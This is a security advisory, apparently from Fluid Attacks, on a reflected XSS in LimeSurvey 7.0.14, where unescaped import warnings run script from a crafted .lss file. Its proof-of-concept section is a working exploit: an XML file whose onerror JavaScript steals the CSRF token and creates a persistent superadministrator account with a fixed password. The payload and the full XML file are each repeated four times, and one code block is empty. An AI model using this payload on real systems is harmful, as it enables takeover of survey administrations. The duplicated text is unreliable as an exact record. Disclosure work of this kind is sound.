LimeSurvey Community Edition 7.0.14 - Reflected XSS through unescaped LSS survey-import warnings

7,4

High

Discovered by

Miguel Gómez

Offensive Team, Fluid Attacks

Summary

Full name

LimeSurvey Community Edition 7.0.14 - Reflected XSS through unescaped LSS survey-import warnings

Code name

State

Public

Release date

Affected product

LimeSurvey

Vendor

LimeSurvey

Affected version(s)

7.0.14

Fixed version(s)

7.1.2

Vulnerability name

Reflected cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.4

Exploit available

Yes

Description

LimeSurvey fails to safely encode attacker-controlled content from a crafted .lss survey file when displaying import warnings, resulting in XSS in the administrative interface. The attacker requires no LimeSurvey account but must deliver the malicious file and socially engineer a user authorized to import surveys into deliberately selecting and importing it; merely receiving or downloading the file does not trigger exploitation. If the victim is a superadministrator, the injected JavaScript executes within the victim's authenticated LimeSurvey session and can create a persistent attacker-controlled superadministrator account, compromising application data and configuration.

Vulnerability

Root Cause

  1. LimeSurvey treats values extracted from an uploaded .lss file as trusted when constructing and rendering import warnings. The import controller only checks that the authenticated user holds the global surveys:create permission and that the file extension is allowed; it does not validate whether values inside the XML are safe to place in an HTML response.

  2. For .lss files, importSurveyFile() invokes XMLImportSurvey(), which parses the file with simplexml_load_string() using LIBXML_NONET. This flag blocks XML-related network access but does not sanitize HTML or JavaScript contained in XML text or CDATA sections.

  3. Each child element under surveys/rows/row is copied into $insertdata by casting both its name and value to strings, so markup such as an <img> element containing an onerror handler remains intact after parsing.

  4. $insertdata is then compared against the attributes supported by the Survey model. Unknown fields are removed before the survey record is inserted into the database — but instead of being silently discarded, the importer includes their original name and value in a warning:


  5. Neither gT() translation nor sprintf() formatting encode HTML, so $key and $value — both attacker-controlled — reach the warning string exactly as supplied. Removing the unknown field from $insertdata does not remove the attacker-controlled value from the response; it merely redirects it into the warning path.

  6. application/views/surveyAdministration/importSurvey_view.php renders each warning with echo $warning instead of a context-appropriate encoder such as CHtml::encode(). Because of this, the browser interprets the attacker-supplied markup as part of the administrative page: an invalid image source triggers the injected onerror handler, causing arbitrary JavaScript to execute in LimeSurvey's authenticated origin.

Confirmed source-to-sink path

  • Source: application/controllers/SurveyAdministrationController.php:2479-2524actionImport() validates the surveys:create permission and the file extension only.

  • Parse: application/helpers/admin/import_helper.php:2176-2183simplexml_load_string(..., LIBXML_NONET | LIBXML_PARSEHUGE); no HTML sanitization is applied.

  • Propagate: application/helpers/admin/import_helper.php:2231-2237 — each XML element name/value is cast to string and copied into $insertdata.

  • Untrusted warning construction: application/helpers/admin/import_helper.php:2311-2317 — unknown fields' key/value are placed unencoded into importwarnings via sprintf().

  • Sink: application/views/surveyAdministration/importSurvey_view.php:156-164echo $warning outputs the value with no encoding.

Impact

The import permission check does not make this behavior intentional or safe. It authorizes survey creation; it does not authorize imported survey data to execute scripts in administrative pages. An external attacker can supply the file without possessing a LimeSurvey account, although exploitation requires a user with survey-import permission to deliberately upload it. When that user is a superadministrator, the JavaScript inherits access to the victim's authenticated session. Same-origin execution allows it to read CSRF tokens and submit authenticated administrative requests, including requests that create a persistent attacker-controlled superadministrator account.

PoC

Preconditions

  • LimeSurvey Community Edition 7.0.14+260904 is deployed with ./deploy-local.sh and is available at http://127.0.0.1:8081.

  • The initial admin account is configured and has superadministrator privileges.

  • The victim has an authenticated LimeSurvey administration session.

  • The malicious survey file is poc.lss from this directory.

The external attacker who prepares and delivers the .lss file does not need a LimeSurvey account or any application permission.

1. Review the malicious LSS file

The malicious file is attached as poc.lss. It is a minimal valid survey containing an unknown field named xss_warning_field:

<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>

Its value is the following CDATA-wrapped <img> element with an onerror handler:

<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">

See the attached poc.lss for the complete, valid document (survey and language-setting structures included).

The corresponding row contains an <img> element whose onerror handler:

  1. Obtains the CSRF token from the victim's authenticated page.

  2. Sends an authenticated request to userManagement/applyedit.

  3. Creates a user named attackerAdmin.

  4. Sends an authenticated request to userManagement/saveUserPermissions.

  5. Grants the new user local authentication and global superadministrator permissions.

  6. Changes the page title to report success or failure.

The PoC uses the following credentials for the new account attackerAdmin:attackerAdminaA1!

2. Start the victim session

  1. Open the following URL http://127.0.0.1:8081/index.php/admin

  2. Sign in as the local admin superadministrator (victim).

3. Import the malicious survey

While authenticated as the victim:

  1. Open Surveys.

  2. Select Create, import, or copy a survey.

  3. Open the Import tab.

  4. Select poc.lss as the survey structure file.

poc.lss:

<?xml version="1.0" encoding="UTF-8"?>
<document>
<LimeSurveyDocType>Survey</LimeSurveyDocType>
<DBVersion>711</DBVersion>
<languages>
<language>en</language>
</languages>
<surveys>
<fields>
<fieldname>sid</fieldname>
<fieldname>admin</fieldname>
<fieldname>language</fieldname>
<fieldname>xss_warning_field</fieldname>
</fields>
<rows>
<row>
<sid><![CDATA[123456]]></sid>
<admin><![CDATA[Minimal importer]]></admin>
<language><![CDATA[en]]></language>
<xss_warning_field><![CDATA[<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field>
</row>
</rows>
</surveys>
<surveys_languagesettings>
<fields>
<fieldname>surveyls_survey_id</fieldname>
<fieldname>surveyls_language</fieldname>
<fieldname>surveyls_title</fieldname>
</fields>
<rows>
<row>
<surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id>
<surveyls_language><![CDATA[en]]></surveyls_language>
<surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title>
</row>
</rows>
</surveys_languagesettings>
</document>
<?xml version="1.0" encoding="UTF-8"?>
<document>
<LimeSurveyDocType>Survey</LimeSurveyDocType>
<DBVersion>711</DBVersion>
<languages>
<language>en</language>
</languages>
<surveys>
<fields>
<fieldname>sid</fieldname>
<fieldname>admin</fieldname>
<fieldname>language</fieldname>
<fieldname>xss_warning_field</fieldname>
</fields>
<rows>
<row>
<sid><![CDATA[123456]]></sid>
<admin><![CDATA[Minimal importer]]></admin>
<language><![CDATA[en]]></language>
<xss_warning_field><![CDATA[<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field>
</row>
</rows>
</surveys>
<surveys_languagesettings>
<fields>
<fieldname>surveyls_survey_id</fieldname>
<fieldname>surveyls_language</fieldname>
<fieldname>surveyls_title</fieldname>
</fields>
<rows>
<row>
<surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id>
<surveyls_language><![CDATA[en]]></surveyls_language>
<surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title>
</row>
</rows>
</surveys_languagesettings>
</document>
<?xml version="1.0" encoding="UTF-8"?>
<document>
<LimeSurveyDocType>Survey</LimeSurveyDocType>
<DBVersion>711</DBVersion>
<languages>
<language>en</language>
</languages>
<surveys>
<fields>
<fieldname>sid</fieldname>
<fieldname>admin</fieldname>
<fieldname>language</fieldname>
<fieldname>xss_warning_field</fieldname>
</fields>
<rows>
<row>
<sid><![CDATA[123456]]></sid>
<admin><![CDATA[Minimal importer]]></admin>
<language><![CDATA[en]]></language>
<xss_warning_field><![CDATA[<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field>
</row>
</rows>
</surveys>
<surveys_languagesettings>
<fields>
<fieldname>surveyls_survey_id</fieldname>
<fieldname>surveyls_language</fieldname>
<fieldname>surveyls_title</fieldname>
</fields>
<rows>
<row>
<surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id>
<surveyls_language><![CDATA[en]]></surveyls_language>
<surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title>
</row>
</rows>
</surveys_languagesettings>
</document>
<?xml version="1.0" encoding="UTF-8"?>
<document>
<LimeSurveyDocType>Survey</LimeSurveyDocType>
<DBVersion>711</DBVersion>
<languages>
<language>en</language>
</languages>
<surveys>
<fields>
<fieldname>sid</fieldname>
<fieldname>admin</fieldname>
<fieldname>language</fieldname>
<fieldname>xss_warning_field</fieldname>
</fields>
<rows>
<row>
<sid><![CDATA[123456]]></sid>
<admin><![CDATA[Minimal importer]]></admin>
<language><![CDATA[en]]></language>
<xss_warning_field><![CDATA[<img src=x onerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field>
</row>
</rows>
</surveys>
<surveys_languagesettings>
<fields>
<fieldname>surveyls_survey_id</fieldname>
<fieldname>surveyls_language</fieldname>
<fieldname>surveyls_title</fieldname>
</fields>
<rows>
<row>
<surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id>
<surveyls_language><![CDATA[en]]></surveyls_language>
<surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title>
</row>
</rows>
</surveys_languagesettings>
</document>
  1. Keep the default survey group.

  2. Click Import survey.

  3. Wait for the survey import summary to render.

LimeSurvey converts the unknown xss_warning_field value into an import warning and renders it as active HTML. The failed image load triggers the onerror handler under the victim's authenticated origin.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-91775 to refer to this issue from now on.

Disclosure policy

System Information

  • LimeSurvey

  • Version: 7.0.14

  • Operating System: Any

References

Mitigation

An updated version of LimeSurvey is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.